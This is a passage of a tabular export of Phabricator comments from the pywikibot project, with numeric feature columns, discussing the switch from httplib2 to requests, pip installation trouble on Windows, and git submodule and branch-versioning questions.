rectangle to what you want to copy and after that pressing enter to actually copy it.
471126,[BREAKING]  Change: Switch from httplib2 to requests,No. I dont use 2.0 branch.,,,1433800823,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.8888888888888888,No. I dont use 2.0 branch.
471120,[BREAKING]  Change: Switch from httplib2 to requests,Did you try cloning recursively or updating the submodules? Are you using the 2.0 branch?,,,1433800284,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.411764705882353,0.8235294117647058,Did you try cloning recursively or updating the submodules? Are you using the 2.0 branch?
471119,[BREAKING]  Change: Switch from httplib2 to requests,I have a problem  with httplib2 for pywikipedia. See picture http://prntscr.com/7ehyy2,,,1433800186,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,1.0,I have a problem  with httplib2 for pywikipedia. See picture URL
469750,[BREAKING]  Change: Switch from httplib2 to requests,"We are building a stable branch '2.0' which bot operators can use for production bots which maintains backwards compatibility and does not introduce new mandatory dependencies.
https://github.com/wikimedia/pywikibot-core/tree/2.0",,,1433508810,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.9354838709677419,"We are building a stable branch '2.0' which bot operators can use for production bots which maintains backwards compatibility and does not introduce new mandatory dependencies.
URL"
469595,[BREAKING]  Change: Switch from httplib2 to requests,"git subtrees also allow symlinks into the sub repo , which would mean the nasty voodoo in externals/httplib/__init__.py wouldnt be necessary.  see https://gerrit.wikimedia.org/r/#/c/203794/1/tests/README.rst,cm for example",,,1433469430,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.9333333333333333,"git subtrees also allow symlinks into the sub repo , which would mean the nasty voodoo in externals/httplib/__init__.py wouldnt be necessary.  see URL for example"
469591,[BREAKING]  Change: Switch from httplib2 to requests,"The svn / submodules problem is that it relies on the user to update the submodules, including importing the submodules stored in .svnprops.
This should be fixable by using [[https://github.com/git/git/blob/master/contrib/subtree/git-subtree.txt | git subtree ]] instead of git submodule .
However we would need to test what SVN does if the user has set up svn externals , then we change it from a submodule to a subtree.  Does svn automatically adjust?",,,1433469088,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,21.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,7.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,14.0,2.0,1.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,2.0,3.925925925925926,0.7283950617283951,"The svn / submodules problem is that it relies on the user to update the submodules, including importing the submodules stored in .svnprops.
This should be fixable by using [[URL | git subtree ]] instead of git submodule .
However we would need to test what SVN does if the user has set up svn externals , then we change it from a submodule to a subtree.  Does svn automatically adjust?"
469146,[BREAKING]  Change: Switch from httplib2 to requests,Well if git submodules are working correctly then there should be no issue with adding requests as a submodule. Nightly is also using git itself so these three routes are covered. Now I know you had problems with svn when we wanted to separate compat's and core's i18n. But if git submodules are unusable via svn then using submodules at all (including httplib2) doesn't seem like a good idea because any changes to httplib2 won't be visible to svn users.,,,1433438387,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,2.0,0.0,0.0,1.0,2.0,3.0,3.0,1.0,0.0,2.0,1.0,2.0,1.0,0.0,1.0,2.0,0.0,13.0,13.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,2.0,7.0,6.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,1.0,6.0,0.0,0.0,0.0,4.177777777777778,0.7555555555555555,Well if git submodules are working correctly then there should be no issue with adding requests as a submodule. Nightly is also using git itself so these three routes are covered. Now I know you had problems with svn when we wanted to separate compat's and core's i18n. But if git submodules are unusable via svn then using submodules at all (including httplib2) doesn't seem like a good idea because any changes to httplib2 won't be visible to svn users.
469141,[BREAKING]  Change: Switch from httplib2 to requests,@xqt try following https://pip.pypa.io/en/latest/installing.html makes adding and managing packages on windows so much easier,,,1433437917,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,5.5,1.0,SCREEN_NAME try following URL makes adding and managing packages on windows so much easier
469139,[BREAKING]  Change: Switch from httplib2 to requests,"Xzise, Ladsgroup maybe. But be aware  all settings must be changed and documented for several access routes (git, tortoisegit, svn, tortoisesvn, nightly)",,,1433437806,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,6.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.258064516129032,0.8387096774193549,"Xzise, Ladsgroup maybe. But be aware  all settings must be changed and documented for several access routes (git, tortoisegit, svn, tortoisesvn, nightly)"
469136,[BREAKING]  Change: Switch from httplib2 to requests,Thanks Betacommand but there isn't any pip.exe anywhere - it is part of py2.7.9 or newer.,,,1433437632,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.111111111111111,0.9444444444444444,Thanks Betacommand but there isn't any pip.exe anywhere - it is part of py2.7.9 or newer.
469135,[BREAKING]  Change: Switch from httplib2 to requests,Thanks Betacommand but pip.exe there isn't any pip.exe anywhere - it is part of py2.7.9 or newer.,,,1433437595,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.2631578947368425,0.8947368421052632,Thanks Betacommand but pip.exe there isn't any pip.exe anywhere - it is part of py2.7.9 or newer.
468908,[BREAKING]  Change: Switch from httplib2 to requests,"If you're on windows PIP isnt added to the system path. Try:


```
cd /
cd  C:\Python27\Scripts
pip install requests
```",,,1433416456,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.727272727272727,0.8636363636363636,"If you're on windows PIP isnt added to the system path. Try:


``CODE``"
468907,[BREAKING]  Change: Switch from httplib2 to requests,"If your on windows PIP isnt added to the system path. Try:


```
cd /
cd  C:\Python27\Scripts
pip install requests
```",,,1433416423,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.761904761904762,0.8571428571428571,"If your on windows PIP isnt added to the system path. Try:


``CODE``"
468859,[BREAKING]  Change: Switch from httplib2 to requests,"I agree it's highly needed that we add requests as a submodule for core. It makes life a lot easier for non-programmers who are using pywikibot

",,,1433414434,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,6.0,3.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,3.870967741935484,0.9354838709677419,"I agree it's highly needed that we add requests as a submodule for core. It makes life a lot easier for non-programmers who are using pywikibot

"
468835,[BREAKING]  Change: Switch from httplib2 to requests,Which basically means that the command `pip` couldn't be found. So the ONLY problem is actually that `requests` isn't packaged together with `pywikibot-core`? Couldn't we make it similar to how we packaged `httplib2` and use `requests` as a submodule? Alternatively mention how to to install `requests` in the README or so?,,,1433412139,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,3.0,5.0,3.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,3.0,0.0,19.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,7.0,5.0,21.0,7.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,14.0,7.0,5.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,4.068965517241379,0.6896551724137931,Which basically means that the command CODE couldn't be found. So the ONLY problem is actually that CODE isn't packaged together with CODE? Couldn't we make it similar to how we packaged CODE and use CODE as a submodule? Alternatively mention how to to install CODE in the README or so?
468811,[BREAKING]  Change: Switch from httplib2 to requests,"```
C:\pwb\core>pip install requests
Der Befehl ""pip"" ist entweder falsch geschrieben oder
konnte nicht gefunden werden.

C:\pwb\core>
```
with py 2.7.3",,,1433405709,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2222222222222223,0.6666666666666666,"``CODE``
with py 2.7.3"
468799,[BREAKING]  Change: Switch from httplib2 to requests,"On https://gerrit.wikimedia.org/r/#/c/215603/ PS6 , @xqt says ""John Vandenberg: Please give try to do pip install with py < 2.7.9 in Windows.""

Which version are you using?  I can test on any version which you are experiencing problems.  The Appveyor builds (linked in previous comment; https://ci.appveyor.com/project/jayvdb/pywikibot-core/build/1.0.fix-appveyor.239)) include 2.7.8 .",,,1433401412,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,5.0,10.0,14.0,2.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,2.0,3.864406779661017,0.847457627118644,"On URL PS6 ,SCREEN_NAME says ""John Vandenberg: Please give try to do pip install with py < 2.7.9 in Windows.""

Which version are you using?  I can test on any version which you are experiencing problems.  The Appveyor builds (linked in previous comment; URL include 2.7.8 ."
468771,[BREAKING]  Change: Switch from httplib2 to requests,"@xqt, could you explain why 'pip install requests' doesnt work for you.
You [[https://www.mediawiki.org/w/index.php?title=Manual:Pywikibot/Version_table&diff=prev&oldid=1523390 | added ]] that pip was working to the Version table.
And we have Win32 builds running on Appveyor, and those builds install requests without a problem. https://ci.appveyor.com/project/jayvdb/pywikibot-core/build/1.0.fix-appveyor.239 

Another way to install requests is here:
http://www.lfd.uci.edu/~gohlke/pythonlibs/#requests
Maybe that works for you...?

>>! In T101228#1334767, @valhallasw wrote:
> In this specific situation, I think it might be advisable to actually have this change in 2.1, not in 2.0. Then current users can switch to the 2.0 branch safely, and we can work on 2.1 without worrying about changes such as these.

Users who are switching from compat to core are switching to a http library, either httplib2 or requests makes little difference.
If the benefit is that httplib2 was in externals, and therefore it runs without any dependencies needing to be installed, we need to evaluate whether that is necessary.  What is causing the problems.  If it is necessary to assist the switch to core, why not add externals/requests instead of externals/httplib2?",,,1433385034,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.5,0.0,0.0,0.5,0.5,2.0,2.5,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,4.5,12.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,8.0,0.0,1.0,1.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,17.5,1.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,3.5,6.0,9.0,4.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.5,12.0,4.0,1.0,1.0,0.0,4.5,0.0,2.0,1.0,0.0,3.5,0.0,0.0,1.0,3.9897149573905377,0.6787393476344402,"SCREEN_NAME, could you explain why 'pip install requests' doesnt work for you.
You [[URL | added ]] that pip was working to the Version table.
And we have Win32 builds running on Appveyor, and those builds install requests without a problem. URL 

Another way to install requests is here:
URL
Maybe that works for you...?

QUOTE
QUOTE

Users who are switching from compat to core are switching to a http library, either httplib2 or requests makes little difference.
If the benefit is that httplib2 was in externals, and therefore it runs without any dependencies needing to be installed, we need to evaluate whether that is necessary.  What is causing the problems.  If it is necessary to assist the switch to core, why not add externals/requests instead of externals/httplib2?"
468452,[BREAKING]  Change: Switch from httplib2 to requests,">>! In T101228#1333496, @Xqt wrote:
> I don't understand such a recommendations. We always recommended ""keep your bot up-to-date"". And now ""please dont update"" ...  and wait for bugfixes, translations, features until we have finished the bot in any spring; the current release may be broken. But please merge to core and don't use the ... I should give up.

The reason to move to a versioned system is to provide //better// long-term stability for bot users. Unfortunately, we're still in the process of figuring out how to do this exactly, so not everything will be perfect on the first attempt.

In the current situation, master would break every now and then, and require changes to bots. This was typically not planned, but it did mean that blindly 'git pull'ing always was a bad idea. The idea for versioning is the following. When 2.0 is released, only bug fixes will be backported, so it's completely safe to update to the latest 2.0.x. More major changes would end up in 2.1, and really bit changes (e.g. the removal of deprecated compat wrappers) would become 3.0.

In this specific situation, I think it might be advisable to actually have this change in 2.1, not in 2.0. Then current users can switch to the 2.0 branch safely, and we can work on 2.1 without worrying about changes such as these.",,,1433355088,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,0.5,0.5,0.5,1.5,1.5,7.0,2.5,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,1.5,0.5,10.0,14.0,0.5,2.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.5,2.5,0.0,3.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.5,14.0,1.0,1.5,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,5.5,4.0,6.0,2.0,3.0,8.5,0.0,0.0,0.0,0.0,7.5,0.0,3.5,0.0,3.0,14.0,1.0,0.0,0.5,0.0,3.0,0.0,1.0,1.0,0.0,1.5,0.5,0.5,0.0,3.985,0.74,"QUOTE
QUOTE

The reason to move to a versioned system is to provide //better// long-term stability for bot users. Unfortunately, we're still in the process of figuring out how to do this exactly, so not everything will be perfect on the first attempt.

In the current situation, master would break every now and then, and require changes to bots. This was typically not planned, but it did mean that blindly 'git pull'ing always was a bad idea. The idea for versioning is the following. When 2.0 is released, only bug fixes will be backported, so it's completely safe to update to the latest 2.0.x. More major changes would end up in 2.1, and really bit changes (e.g. the removal of deprecated compat wrappers) would become 3.0.

In this specific situation, I think it might be advisable to actually have this change in 2.1, not in 2.0. Then current users can switch to the 2.0 branch safely, and we can work on 2.1 without worrying about changes such as these."
468223,[BREAKING]  Change: Switch from httplib2 to requests,"Change 215603 had a related patch set uploaded (by XZise):
[FEAT] Basic httplib2 support

[[https://gerrit.wikimedia.org/r/215603]]
",,,1433337220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,23.0,3.576923076923077,0.8076923076923077,"Change 215603 had a related patch set uploaded (by XZise):
[FEAT] Basic httplib2 support

[[GERRIT_URL]]
"
468190,[BREAKING]  Change: Switch from httplib2 to requests,"I don't understand such a recommendations. We always recommended ""keep your bot up-to-date"". And now ""please dont update"" ...  and wait for bugfixes, translations, features until we have finished the bot in any spring; the current release may be broken. But please merge to core and don't use the ... I should give up.",,,1433332621,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,5.0,0.0,7.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,7.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.6301369863013697,0.726027397260274,"I don't understand such a recommendations. We always recommended ""keep your bot up-to-date"". And now ""please dont update"" ...  and wait for bugfixes, translations, features until we have finished the bot in any spring; the current release may be broken. But please merge to core and don't use the ... I should give up."
468189,[BREAKING]  Change: Switch from httplib2 to requests,">>! In T101228#1333110, @jayvdb wrote:
> The hint is there: install requests.
> See also the email to the mailing list.

